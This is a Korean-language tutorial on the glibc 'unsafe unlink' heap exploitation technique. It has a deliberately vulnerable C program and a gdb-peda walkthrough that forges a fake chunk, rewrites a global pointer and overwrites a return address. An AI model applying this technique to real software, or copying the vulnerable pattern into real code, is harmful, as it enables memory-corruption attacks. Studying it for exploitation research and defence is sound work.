Page tree
Skip to end of metadata
Go to start of metadata

Excuse the ads! We need some help to keep our site up.

List

  • 해당 기술은 다음과 같은 조건에서 동작합니다.
    • 공격자에 의해 생성된 Heap 영역이 전역 변수에서 관리 되어야 합니다.(악용대상)
    • 공격자에 의해 크기가 0x80 이상의 Heap 영역을 할당 할 수 있어야 합니다.
    • 공격자에 의해 1번째 Heap 영역(Allocated)에 Fake chunk을 저장 할 수 있어야 합니다.
    • 공격자에 의해 2번째 Heap 영역(Allocated)Header를 덮어쓸 수 있어야 합니다.
      • Allocated chunk의 size 값에서 PREV_INUSE 이 제거되어야 합니다.
    • 공격자에 의해 2번째 Heap 영역을 해제 할 수 있어야 합니다.
  • 다음과 같은 방법으로 공격할 수 있습니다.

    • 2개의 Heap 영역을 할당 합니다.

      • Heap size : 0x80

      • 할당받은 첫번째 Heap 영역의 주소는 전역변수에 저장합니다.
    • 1번째 Heap 영역에 Fake chunk(Free) 구조를 저장합니다.(fd, bk)

      • fd : Target Address(전역변수 주소) - 0x18

      • bkTarget Address(전역변수 주소) - 0x10 
    • 2번째 Heap 영역의 Header 값을 다음과 같이 변경합니다.

      • "prev_size" 설정 : 0x90 - 0x10 = 0x80

      • "PREV_INUSE" flag 해제 : 0x91 - 0x1 = 0x90

      • 2번째 Heap 영역이 Free chunk 구조로 변경되었습니다.
    • 2번째 Heap 영역을 해제 합니다.

    • 전역변수 영역에 Fake chunk의 fd값이 저장됩니다.
    • 전역변수[3] 영역에 공격자가 접근하려는 주소 값을 저장합니다.
      • 전역변수를 통해 원하는 영역에 값을 쓸 수 있습니다.
  • 아래와 같이 unlink()함수에서 P→fd→bk, P→bk→fd 의 값이 P의 값과 다른지 확인합니다.
    • 값이 다를 경우 Error 메시지를 출력합니다.
      • "corrupted double-linked list"

  • 해당 조건을 우회하기 위해 다음과 같은 Fake chunk가 필요합니다.
    • fd 영역에 "fake chunk 주소가 저장된 변수의 주소 - 0x18" 값을 저장합니다.
    • bk 영역에 "fake chunk 주소가 저장된 변수의 주소 - 0x10" 값을 저장합니다.
  • 아래와 같이 unlink()함수에서 P→size와 next chunk→prev_size 의 값이 다른지 확인합니다.
    • 값이 다를 경우 "corrupted size vs. prev_size" Error 메시지를 출력합니다.
  • 해당 조건을 우회하기 위해 다음과 같은 Fake chunk가 필요합니다.
    • prev_size : 0x0
    • size : 0x0
  •  해당 취약성은 Heap 영역을 재할당 받기 위한 것이 아니기 때문에 prev_size, size 영역에 0x0을 저장해 해당 조건을 우회만 합니다.
    • size영역의 값이 0x0이기 때문에 next chunk의 주소는 fake chunk의 주소가 됩니다.
      • P→size : 0x0
      • next chunk→prev_size : 0x0(Fack chunk의 prev_size 영역)
#define unlink(AV, P, BK, FD)
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {                                            \
    if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
      malloc_printerr (check_action, "corrupted size vs. prev_size", P, AV);  \
    FD = P->fd;								      \
    BK = P->bk;								      \
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      \
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \
    else {								      \
        FD->bk = BK;							      \
        BK->fd = FD;							      \
        if (!in_smallbin_range (chunksize_nomask (P))			      \
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {		      \
	    if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)	      \
		|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \
	      malloc_printerr (check_action,				      \
			       "corrupted double-linked list (not small)",    \
			       P, AV);					      \
            if (FD->fd_nextsize == NULL) {				      \
                if (P->fd_nextsize == P)				      \
                  FD->fd_nextsize = FD->bk_nextsize = FD;		      \
                else {							      \
                    FD->fd_nextsize = P->fd_nextsize;			      \
                    FD->bk_nextsize = P->bk_nextsize;			      \
                    P->fd_nextsize->bk_nextsize = FD;			      \
                    P->bk_nextsize->fd_nextsize = FD;			      \
                  }							      \
              } else {							      \
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;		      \
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;		      \
              }								      \
          }								      \
      }									      \
}
  • Fake chunk 구조
    • __builtin_expect (FD->bk != P || BK->fd != P, 0)
      • P→fd : 0x601048
      • P→bk : 0x601050 
      • P→fd→bk : 0x602010
      • P→bk→fd : 0x602010
    • __builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)

      • P→size : 0x0
      • next chunk : 0x602010 + 0x0 = 0x602010 
      • next chunk→prev_size : 0x0
Fake chunk struct

#include <stdio.h>
#include <stdlib.h>

char *buf1;

void main(){
	buf1 = malloc(0x80);
        printf("buf1 : %p\n",&buf1);

	char *buf2 = malloc(0x80);
	scanf("%144s",buf1);

	free(buf2);
	
	scanf("%32s",buf1);
	scanf("%128s",buf1);
}
Exploit flow - unsafe unlink

  • 다음과 같이 Break point를 설정합니다.
    • 0x40067c : 첫번째 scanf() 호출

    • 0x400688 : free() 함수 호출

    • 0x4006a1 : 두번째 scanf() 호출

    • 0x4006ba : 세번째 scanf() 호출

Break points
gdb-peda$ b *0x000000000040067c
Breakpoint 1 at 0x40067c
gdb-peda$ b *0x0000000000400688
Breakpoint 2 at 0x400688
gdb-peda$ b *0x00000000004006a1
Breakpoint 3 at 0x4006a1
gdb-peda$ b *0x00000000004006ba
Breakpoint 4 at 0x4006ba
gdb-peda$ 
  • 다음과 같이 첫번째 Heap영역과 두번째 Heap영역의 Header부분을 덮어씁니다.
    • 'A' * 16 : Fake chunk(prev_size, size) 영역

    • 'B' * 16 : Fake chunk(fd, bk) 영역

    • 'C' * 96 : Empty

    • 'D' * 16 : 2번째 Heap의 Chunk header 변경

Break point - 0x40067c
gdb-peda$ r
Starting program: /home/lazenca0x0/Documents/def/unsafe 
buf1 : 0x601060
Breakpoint 1, 0x000000000040067c in main ()
gdb-peda$ x/40gx 0x602000
0x602000:	0x0000000000000000	0x0000000000000091
0x602010:	0x0000000000000000	0x0000000000000000
0x602020:	0x0000000000000000	0x0000000000000000
0x602030:	0x0000000000000000	0x0000000000000000
0x602040:	0x0000000000000000	0x0000000000000000
0x602050:	0x0000000000000000	0x0000000000000000
0x602060:	0x0000000000000000	0x0000000000000000
0x602070:	0x0000000000000000	0x0000000000000000
0x602080:	0x0000000000000000	0x0000000000000000
0x602090:	0x0000000000000000	0x0000000000000091
0x6020a0:	0x0000000000000000	0x0000000000000000
0x6020b0:	0x0000000000000000	0x0000000000000000
0x6020c0:	0x0000000000000000	0x0000000000000000
0x6020d0:	0x0000000000000000	0x0000000000000000
0x6020e0:	0x0000000000000000	0x0000000000000000
0x6020f0:	0x0000000000000000	0x0000000000000000
0x602100:	0x0000000000000000	0x0000000000000000
0x602110:	0x0000000000000000	0x0000000000000000
0x602120:	0x0000000000000000	0x0000000000020ee1
0x602130:	0x0000000000000000	0x0000000000000000
gdb-peda$ ni
AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDDD
0x0000000000400681 in main ()
gdb-peda$ x/40gx 0x602000
0x602000:	0x0000000000000000	0x0000000000000091
0x602010:	0x4141414141414141	0x4141414141414141
0x602020:	0x4242424242424242	0x4242424242424242
0x602030:	0x4343434343434343	0x4343434343434343
0x602040:	0x4343434343434343	0x4343434343434343
0x602050:	0x4343434343434343	0x4343434343434343
0x602060:	0x4343434343434343	0x4343434343434343
0x602070:	0x4343434343434343	0x4343434343434343
0x602080:	0x4343434343434343	0x4343434343434343
0x602090:	0x4444444444444444	0x4444444444444444
0x6020a0:	0x0000000000000000	0x0000000000000000
0x6020b0:	0x0000000000000000	0x0000000000000000
0x6020c0:	0x0000000000000000	0x0000000000000000
0x6020d0:	0x0000000000000000	0x0000000000000000
0x6020e0:	0x0000000000000000	0x0000000000000000
0x6020f0:	0x0000000000000000	0x0000000000000000
0x602100:	0x0000000000000000	0x0000000000000000
0x602110:	0x0000000000000000	0x0000000000000000
0x602120:	0x0000000000000000	0x0000000000020ee1
0x602130:	0x0000000000000000	0x0000000000000000
gdb-peda$ 
  • 다음과 같이 Fake chunk와 Chunk header를 생성 및 변경합니다.
    • Fake chunk struct
      • Fake chunk prev_size(0x602010) : 0x0
      • Fake chunk size(0x602018) : 0x0
      • Fake chunk fd(0x602020) : 전역변수 buf1 addr(0x601060) - 0x18 = 0x601048
      • Fake chunk bk(0x602028) : 전역변수 buf1 addr(0x601060) - 0x10 = 0x601050
    • Chunk header
      • Allocated chunk prev_size(0x602090) = 0x80
      • Allocated chunk size(0x602090) = 0x90
Create fake chunk and overwrite to Allocated chunk
gdb-peda$ set *0x602010 = 0x0
gdb-peda$ set *0x602014 = 0x0
gdb-peda$ set *0x602018 = 0x0
gdb-peda$ set *0x60201c = 0x0
gdb-peda$ set *0x602020 = 0x601060 - 0x18
gdb-peda$ set *0x602024 = 0x0
gdb-peda$ set *0x602028 = 0x601060 - 0x10
gdb-peda$ set *0x60202c = 0x0
gdb-peda$ set *0x602090 = 0x80
gdb-peda$ set *0x602094 = 0x0
gdb-peda$ set *0x602098 = 0x90
gdb-peda$ set *0x60209c = 0x0
gdb-peda$ x/40gx 0x602000
0x602000:	0x0000000000000000	0x0000000000000091
0x602010:	0x0000000000000000	0x0000000000000000
0x602020:	0x0000000000601048	0x0000000000601050
0x602030:	0x4343434343434343	0x4343434343434343
0x602040:	0x4343434343434343	0x4343434343434343
0x602050:	0x4343434343434343	0x4343434343434343
0x602060:	0x4343434343434343	0x4343434343434343
0x602070:	0x4343434343434343	0x4343434343434343
0x602080:	0x4343434343434343	0x4343434343434343
0x602090:	0x0000000000000080	0x0000000000000090
0x6020a0:	0x0000000000000000	0x0000000000000000
0x6020b0:	0x0000000000000000	0x0000000000000000
0x6020c0:	0x0000000000000000	0x0000000000000000
0x6020d0:	0x0000000000000000	0x0000000000000000
0x6020e0:	0x0000000000000000	0x0000000000000000
0x6020f0:	0x0000000000000000	0x0000000000000000
0x602100:	0x0000000000000000	0x0000000000000000
0x602110:	0x0000000000000000	0x0000000000000000
0x602120:	0x0000000000000000	0x0000000000020ee1
0x602130:	0x0000000000000000	0x0000000000000000
gdb-peda$ 
  • 다음과 같이 변조된 Chunk header, Fake chunk로 인해 buf1에 저장된 값이 변경되었습니다.
    • Free() 전 : 전역변수 buf1(0x601060) → 0x602010
    • Free() 후 : 전역변수 buf1(0x601060→ 0x601048
  • 이러한 현상은 free() 함수에서 fake chunk의 bk영역을 다음 Chunk가 존재한다고 판단했기 때문입니다.
    • Free() 함수는 0x601050 영역이 다음 chunk이기 때문에 fd 영역(0x601060)에 Fake chunk의 fd값(0x601048)을 저장합니다.
The value of buf1 changed.
gdb-peda$ c

Breakpoint 2, 0x0000000000400688 in main ()
gdb-peda$ x/gx 0x601060
0x601060 <buf1>:	0x0000000000602010

gdb-peda$ ni
0x000000000040068d in main ()
gdb-peda$ x/gx 0x601060
0x601060 <buf1>:	0x0000000000601048
gdb-peda$ 
  • 다음과 같이 buf1 영역에 원하는 주소 값을 저장 할 수 있습니다.
    • buf1 변수에 저장된 주소는 0x601048 입니다.
    • 그리고 buf1 변수의 주소는 0x601060 입니다.
    • 즉, 0x601048 + 0x18 영역에 값을 쓸수 있다면, buf1에 저장된 주소값을 변경할 수 있게되는 것입니다.
      • 이로 인해 Stack, .got, .plt , 영역 등에 접근하여 값을 변경 할 수 있게 됩니다.
  • 아래 예제에서는 set 명령어를 이용해 buf1(0x601060)영역에 저장된 값을 rsp에 저장된 주소로 변경합니다.
The value is overwritten in the Buf1.
gdb-peda$ c
Breakpoint 3, 0x00000000004006a1 in main ()
gdb-peda$ i r rsi
rsi            0x601048	0x601048
gdb-peda$ ni
AAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC

gdb-peda$ x/gx 0x601060
0x601060 <buf1>:	0x4343434343434343
gdb-peda$ i r rsp
rsp            0x7fffffffe180	0x7fffffffe180
gdb-peda$ set *0x601060 = 0x7fffffffe180
gdb-peda$ set *0x601064 = 0x7fff
gdb-peda$ x/gx 0x601060
0x601060 <buf1>:	0x00007fffffffe180
gdb-peda$
  • 다음과 같이 buf1 영역에 입력된 값에 의해 "Segmentation fault" 이 발생합니다.
    • buf1 영역에 'A' * 128개를 입력합니다.
    • 입력된 값이 "ret" 명령어에 영향을 주어 "Segmentation fault" 이 발생합니다.
You can access the stack area.
gdb-peda$ c
Breakpoint 4, 0x00000000004006ba in main ()
gdb-peda$ i r rsp
rsp            0x7fffffffe180	0x7fffffffe180
gdb-peda$ ni
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

0x00000000004006bf in main ()
gdb-peda$ c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
Stopped reason: SIGSEGV
0x00000000004006c0 in main ()
gdb-peda$ bt
#0  0x00000000004006c0 in main ()
#1  0x4141414141414141 in ?? ()
#2  0x4141414141414141 in ?? ()
#3  0x4141414141414141 in ?? ()
#4  0x4141414141414141 in ?? ()
#5  0x4141414141414141 in ?? ()
#6  0x4141414141414141 in ?? ()
#7  0x4141414141414141 in ?? ()
#8  0x4141414141414141 in ?? ()
#9  0x4141414141414141 in ?? ()
#10 0x4141414141414141 in ?? ()
#11 0x4141414141414141 in ?? ()
#12 0x4141414141414141 in ?? ()
#13 0x4141414141414141 in ?? ()
#14 0x0000000000000000 in ?? ()
gdb-peda$